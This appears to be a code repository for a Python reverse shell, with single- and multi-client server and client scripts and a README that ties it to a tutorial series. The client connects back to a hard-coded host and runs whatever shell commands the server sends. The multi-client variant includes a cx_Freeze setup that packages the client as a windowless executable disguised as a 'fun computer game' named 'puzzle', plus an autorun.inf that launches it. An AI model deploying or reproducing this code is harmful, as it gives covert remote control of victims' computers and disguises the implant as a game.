├── .gitignore ├── Multiple_Clients ├── autorun.inf ├── client.py ├── favicon.ico ├── server.py └── setup.py ├── README.md └── Single_Client ├── client.py └── server.py /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | -------------------------------------------------------------------------------- /Multiple_Clients/autorun.inf: -------------------------------------------------------------------------------- 1 | [autorun] 2 | open=main.exe 3 | icon=favicon.ico -------------------------------------------------------------------------------- /Multiple_Clients/client.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import subprocess 4 | import time 5 | import signal 6 | import sys 7 | import struct 8 | 9 | class Client(object): 10 | 11 | def __init__(self): 12 | # self.serverHost = '192.168.1.9' 13 | self.serverHost = '192.168.0.5' 14 | self.serverPort = 9999 15 | self.socket = None 16 | 17 | def register_signal_handler(self): 18 | signal.signal(signal.SIGINT, self.quit_gracefully) 19 | signal.signal(signal.SIGTERM, self.quit_gracefully) 20 | return 21 | 22 | def quit_gracefully(self, signal=None, frame=None): 23 | print('\nQuitting gracefully') 24 | if self.socket: 25 | try: 26 | self.socket.shutdown(2) 27 | self.socket.close() 28 | except Exception as e: 29 | print('Could not close connection %s' % str(e)) 30 | # continue 31 | sys.exit(0) 32 | return 33 | 34 | def socket_create(self): 35 | """ Create a socket """ 36 | try: 37 | self.socket = socket.socket() 38 | except socket.error as e: 39 | print("Socket creation error" + str(e)) 40 | return 41 | return 42 | 43 | def socket_connect(self): 44 | """ Connect to a remote socket """ 45 | try: 46 | self.socket.connect((self.serverHost, self.serverPort)) 47 | except socket.error as e: 48 | print("Socket connection error: " + str(e)) 49 | time.sleep(5) 50 | raise 51 | try: 52 | self.socket.send(str.encode(socket.gethostname())) 53 | except socket.error as e: 54 | print("Cannot send hostname to server: " + str(e)) 55 | raise 56 | return 57 | 58 | def print_output(self, output_str): 59 | """ Prints command output """ 60 | sent_message = str.encode(output_str + str(os.getcwd()) + '> ') 61 | self.socket.send(struct.pack('>I', len(sent_message)) + sent_message) 62 | print(output_str) 63 | return 64 | 65 | def receive_commands(self): 66 | """ Receive commands from remote server and run on local machine """ 67 | try: 68 | self.socket.recv(10) 69 | except Exception as e: 70 | print('Could not start communication with server: %s\n' %str(e)) 71 | return 72 | cwd = str.encode(str(os.getcwd()) + '> ') 73 | self.socket.send(struct.pack('>I', len(cwd)) + cwd) 74 | while True: 75 | output_str = None 76 | data = self.socket.recv(20480) 77 | if data == b'': break 78 | elif data[:2].decode("utf-8") == 'cd': 79 | directory = data[3:].decode("utf-8") 80 | try: 81 | os.chdir(directory.strip()) 82 | except Exception as e: 83 | output_str = "Could not change directory: %s\n" %str(e) 84 | else: 85 | output_str = "" 86 | elif data[:].decode("utf-8") == 'quit': 87 | self.socket.close() 88 | break 89 | elif len(data) > 0: 90 | try: 91 | cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, 92 | stderr=subprocess.PIPE, stdin=subprocess.PIPE) 93 | output_bytes = cmd.stdout.read() + cmd.stderr.read() 94 | output_str = output_bytes.decode("utf-8", errors="replace") 95 | except Exception as e: 96 | # TODO: Error description is lost 97 | output_str = "Command execution unsuccessful: %s\n" %str(e) 98 | if output_str is not None: 99 | try: 100 | self.print_output(output_str) 101 | except Exception as e: 102 | print('Cannot send command output: %s' %str(e)) 103 | self.socket.close() 104 | return 105 | 106 | 107 | def main(): 108 | client = Client() 109 | client.register_signal_handler() 110 | client.socket_create() 111 | while True: 112 | try: 113 | client.socket_connect() 114 | except Exception as e: 115 | print("Error on socket connections: %s" %str(e)) 116 | time.sleep(5) 117 | else: 118 | break 119 | try: 120 | client.receive_commands() 121 | except Exception as e: 122 | print('Error in main: ' + str(e)) 123 | client.socket.close() 124 | return 125 | 126 | 127 | if __name__ == '__main__': 128 | while True: 129 | main() 130 | -------------------------------------------------------------------------------- /Multiple_Clients/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buckyroberts/Turtle/6cf049ebfe8c839e580fabe5d5df260c6655f4ad/Multiple_Clients/favicon.ico -------------------------------------------------------------------------------- /Multiple_Clients/server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | import time 4 | import sys 5 | from queue import Queue 6 | import struct 7 | import signal 8 | 9 | NUMBER_OF_THREADS = 2 10 | JOB_NUMBER = [1, 2] 11 | queue = Queue() 12 | 13 | COMMANDS = {'help':['Shows this help'], 14 | 'list':['Lists connected clients'], 15 | 'select':['Selects a client by its index. Takes index as a parameter'], 16 | 'quit':['Stops current connection with a client. To be used when client is selected'], 17 | 'shutdown':['Shuts server down'], 18 | } 19 | 20 | class MultiServer(object): 21 | 22 | def __init__(self): 23 | self.host = '' 24 | self.port = 9999 25 | self.socket = None 26 | self.all_connections = [] 27 | self.all_addresses = [] 28 | 29 | def print_help(self): 30 | for cmd, v in COMMANDS.items(): 31 | print("{0}:\t{1}".format(cmd, v[0])) 32 | return 33 | 34 | def register_signal_handler(self): 35 | signal.signal(signal.SIGINT, self.quit_gracefully) 36 | signal.signal(signal.SIGTERM, self.quit_gracefully) 37 | return 38 | 39 | def quit_gracefully(self, signal=None, frame=None): 40 | print('\nQuitting gracefully') 41 | for conn in self.all_connections: 42 | try: 43 | conn.shutdown(2) 44 | conn.close() 45 | except Exception as e: 46 | print('Could not close connection %s' % str(e)) 47 | # continue 48 | self.socket.close() 49 | sys.exit(0) 50 | 51 | def socket_create(self): 52 | try: 53 | self.socket = socket.socket() 54 | except socket.error as msg: 55 | print("Socket creation error: " + str(msg)) 56 | # TODO: Added exit 57 | sys.exit(1) 58 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 59 | return 60 | 61 | def socket_bind(self): 62 | """ Bind socket to port and wait for connection from client """ 63 | try: 64 | self.socket.bind((self.host, self.port)) 65 | self.socket.listen(5) 66 | except socket.error as e: 67 | print("Socket binding error: " + str(e)) 68 | time.sleep(5) 69 | self.socket_bind() 70 | return 71 | 72 | def accept_connections(self): 73 | """ Accept connections from multiple clients and save to list """ 74 | for c in self.all_connections: 75 | c.close() 76 | self.all_connections = [] 77 | self.all_addresses = [] 78 | while 1: 79 | try: 80 | conn, address = self.socket.accept() 81 | conn.setblocking(1) 82 | client_hostname = conn.recv(1024).decode("utf-8") 83 | address = address + (client_hostname,) 84 | except Exception as e: 85 | print('Error accepting connections: %s' % str(e)) 86 | # Loop indefinitely 87 | continue 88 | self.all_connections.append(conn) 89 | self.all_addresses.append(address) 90 | print('\nConnection has been established: {0} ({1})'.format(address[-1], address[0])) 91 | return 92 | 93 | def start_turtle(self): 94 | """ Interactive prompt for sending commands remotely """ 95 | while True: 96 | cmd = input('turtle> ') 97 | if cmd == 'list': 98 | self.list_connections() 99 | continue 100 | elif 'select' in cmd: 101 | target, conn = self.get_target(cmd) 102 | if conn is not None: 103 | self.send_target_commands(target, conn) 104 | elif cmd == 'shutdown': 105 | queue.task_done() 106 | queue.task_done() 107 | print('Server shutdown') 108 | break 109 | # self.quit_gracefully() 110 | elif cmd == 'help': 111 | self.print_help() 112 | elif cmd == '': 113 | pass 114 | else: 115 | print('Command not recognized') 116 | return 117 | 118 | def list_connections(self): 119 | """ List all connections """ 120 | results = '' 121 | for i, conn in enumerate(self.all_connections): 122 | try: 123 | conn.send(str.encode(' ')) 124 | conn.recv(20480) 125 | except: 126 | del self.all_connections[i] 127 | del self.all_addresses[i] 128 | continue 129 | results += str(i) + ' ' + str(self.all_addresses[i][0]) + ' ' + str( 130 | self.all_addresses[i][1]) + ' ' + str(self.all_addresses[i][2]) + '\n' 131 | print('----- Clients -----' + '\n' + results) 132 | return 133 | 134 | def get_target(self, cmd): 135 | """ Select target client 136 | :param cmd: 137 | """ 138 | target = cmd.split(' ')[-1] 139 | try: 140 | target = int(target) 141 | except: 142 | print('Client index should be an integer') 143 | return None, None 144 | try: 145 | conn = self.all_connections[target] 146 | except IndexError: 147 | print('Not a valid selection') 148 | return None, None 149 | print("You are now connected to " + str(self.all_addresses[target][2])) 150 | return target, conn 151 | 152 | def read_command_output(self, conn): 153 | """ Read message length and unpack it into an integer 154 | :param conn: 155 | """ 156 | raw_msglen = self.recvall(conn, 4) 157 | if not raw_msglen: 158 | return None 159 | msglen = struct.unpack('>I', raw_msglen)[0] 160 | # Read the message data 161 | return self.recvall(conn, msglen) 162 | 163 | def recvall(self, conn, n): 164 | """ Helper function to recv n bytes or return None if EOF is hit 165 | :param n: 166 | :param conn: 167 | """ 168 | # TODO: this can be a static method 169 | data = b'' 170 | while len(data) < n: 171 | packet = conn.recv(n - len(data)) 172 | if not packet: 173 | return None 174 | data += packet 175 | return data 176 | 177 | def send_target_commands(self, target, conn): 178 | """ Connect with remote target client 179 | :param conn: 180 | :param target: 181 | """ 182 | conn.send(str.encode(" ")) 183 | cwd_bytes = self.read_command_output(conn) 184 | cwd = str(cwd_bytes, "utf-8") 185 | print(cwd, end="") 186 | while True: 187 | try: 188 | cmd = input() 189 | if len(str.encode(cmd)) > 0: 190 | conn.send(str.encode(cmd)) 191 | cmd_output = self.read_command_output(conn) 192 | client_response = str(cmd_output, "utf-8") 193 | print(client_response, end="") 194 | if cmd == 'quit': 195 | break 196 | except Exception as e: 197 | print("Connection was lost %s" %str(e)) 198 | break 199 | del self.all_connections[target] 200 | del self.all_addresses[target] 201 | return 202 | 203 | 204 | def create_workers(): 205 | """ Create worker threads (will die when main exits) """ 206 | server = MultiServer() 207 | server.register_signal_handler() 208 | for _ in range(NUMBER_OF_THREADS): 209 | t = threading.Thread(target=work, args=(server,)) 210 | t.daemon = True 211 | t.start() 212 | return 213 | 214 | 215 | def work(server): 216 | """ Do the next job in the queue (thread for handling connections, another for sending commands) 217 | :param server: 218 | """ 219 | while True: 220 | x = queue.get() 221 | if x == 1: 222 | server.socket_create() 223 | server.socket_bind() 224 | server.accept_connections() 225 | if x == 2: 226 | server.start_turtle() 227 | queue.task_done() 228 | return 229 | 230 | def create_jobs(): 231 | """ Each list item is a new job """ 232 | for x in JOB_NUMBER: 233 | queue.put(x) 234 | queue.join() 235 | return 236 | 237 | def main(): 238 | create_workers() 239 | create_jobs() 240 | 241 | 242 | if __name__ == '__main__': 243 | main() 244 | -------------------------------------------------------------------------------- /Multiple_Clients/setup.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from cx_Freeze import setup, Executable 3 | 4 | include_files = ['autorun.inf'] 5 | base = None 6 | 7 | if sys.platform == "win32": 8 | base = "Win32GUI" 9 | 10 | setup(name="puzzle", 11 | version="0.1", 12 | description="Fun computer game", 13 | options={'build_exe': {'include_files': include_files}}, 14 | executables=[Executable("client.py", base=base)]) 15 | 16 | # python setup.py build 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](http://i.imgur.com/d0WX8Tv.png) 2 | 3 | 4 | # Overview 5 | 6 | This is a multi-client, multi-threaded reverse shell written in Python. There is still a lot of work to do, so feel free to help out with development. 7 | 8 | To learn more about this program, watch the [YouTube Python Reverse Shell Tutorial Series](https://www.youtube.com/watch?v=1ObzpG_W_0o&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8&index=1) 9 | 10 | Disclaimer: This reverse shell should only be used in the lawful, remote administration of authorized systems. Accessing a computer network without authorization or permission is illegal. 11 | 12 | # How to Use 13 | 14 | To use this reverse shell, two scripts need to be running 15 | 16 | * **server.py** - runs on a public server and waits for clients to connect 17 | * **client.py** - connects to a remote server and then wait for commands 18 | 19 | *** 20 | 21 | ## Server 22 | 23 | To set up server script, simply run **server.py** using Python 3.4 24 | 25 | `python3 server.py` 26 | 27 | You will then enter an interactive prompt where you are able to view connected clients, select a specific client, and send commands to that client remotely. 28 | 29 | To list all current connections: 30 | 31 | `turtle> list` 32 | 33 | To select a target from the list of clients: 34 | 35 | `turtle> select 3` 36 | 37 | *** 38 | 39 | ## Client 40 | 41 | In **client.py**, first change the IP address to that of the server and then run on target machine. If client does not have a compatible version of Python installed, you can create an executable by building from the source using **setup.py**. 42 | 43 | `python setup.py build` 44 | -------------------------------------------------------------------------------- /Single_Client/client.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import subprocess 4 | 5 | 6 | # Create a socket 7 | def socket_create(): 8 | try: 9 | global host 10 | global port 11 | global s 12 | host = '192.168.0.5' 13 | port = 9999 14 | s = socket.socket() 15 | except socket.error as msg: 16 | print("Socket creation error: " + str(msg)) 17 | 18 | 19 | # Connect to a remote socket 20 | def socket_connect(): 21 | try: 22 | global host 23 | global port 24 | global s 25 | s.connect((host, port)) 26 | except socket.error as msg: 27 | print("Socket connection error: " + str(msg)) 28 | 29 | 30 | # Receive commands from remote server and run on local machine 31 | def receive_commands(): 32 | global s 33 | while True: 34 | data = s.recv(1024) 35 | if data[:2].decode("utf-8") == 'cd': 36 | os.chdir(data[3:].decode("utf-8")) 37 | if len(data) > 0: 38 | cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 39 | output_bytes = cmd.stdout.read() + cmd.stderr.read() 40 | output_str = str(output_bytes, "utf-8") 41 | s.send(str.encode(output_str + str(os.getcwd()) + '> ')) 42 | print(output_str) 43 | s.close() 44 | 45 | 46 | def main(): 47 | socket_create() 48 | socket_connect() 49 | receive_commands() 50 | 51 | 52 | main() 53 | -------------------------------------------------------------------------------- /Single_Client/server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | 5 | # Create socket (allows two computers to connect) 6 | def socket_create(): 7 | try: 8 | global host 9 | global port 10 | global s 11 | host = '' 12 | port = 9999 13 | s = socket.socket() 14 | except socket.error as msg: 15 | print("Socket creation error: " + str(msg)) 16 | 17 | 18 | # Bind socket to port (the host and port the communication will take place) and wait for connection from client 19 | def socket_bind(): 20 | try: 21 | global host 22 | global port 23 | global s 24 | print("Binding socket to port: " + str(port)) 25 | s.bind((host, port)) 26 | s.listen(5) 27 | except socket.error as msg: 28 | print("Socket binding error: " + str(msg) + "\n" + "Retrying...") 29 | socket_bind() 30 | 31 | 32 | # Establish connection with client (socket must be listening for them) 33 | def socket_accept(): 34 | conn, address = s.accept() 35 | print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1])) 36 | send_commands(conn) 37 | conn.close() 38 | 39 | 40 | # Send commands 41 | def send_commands(conn): 42 | while True: 43 | cmd = input() 44 | if cmd == 'quit': 45 | conn.close() 46 | s.close() 47 | sys.exit() 48 | if len(str.encode(cmd)) > 0: 49 | conn.send(str.encode(cmd)) 50 | client_response = str(conn.recv(1024), "utf-8") 51 | print(client_response, end="") 52 | 53 | 54 | def main(): 55 | socket_create() 56 | socket_bind() 57 | socket_accept() 58 | 59 | 60 | main() 61 | --------------------------------------------------------------------------------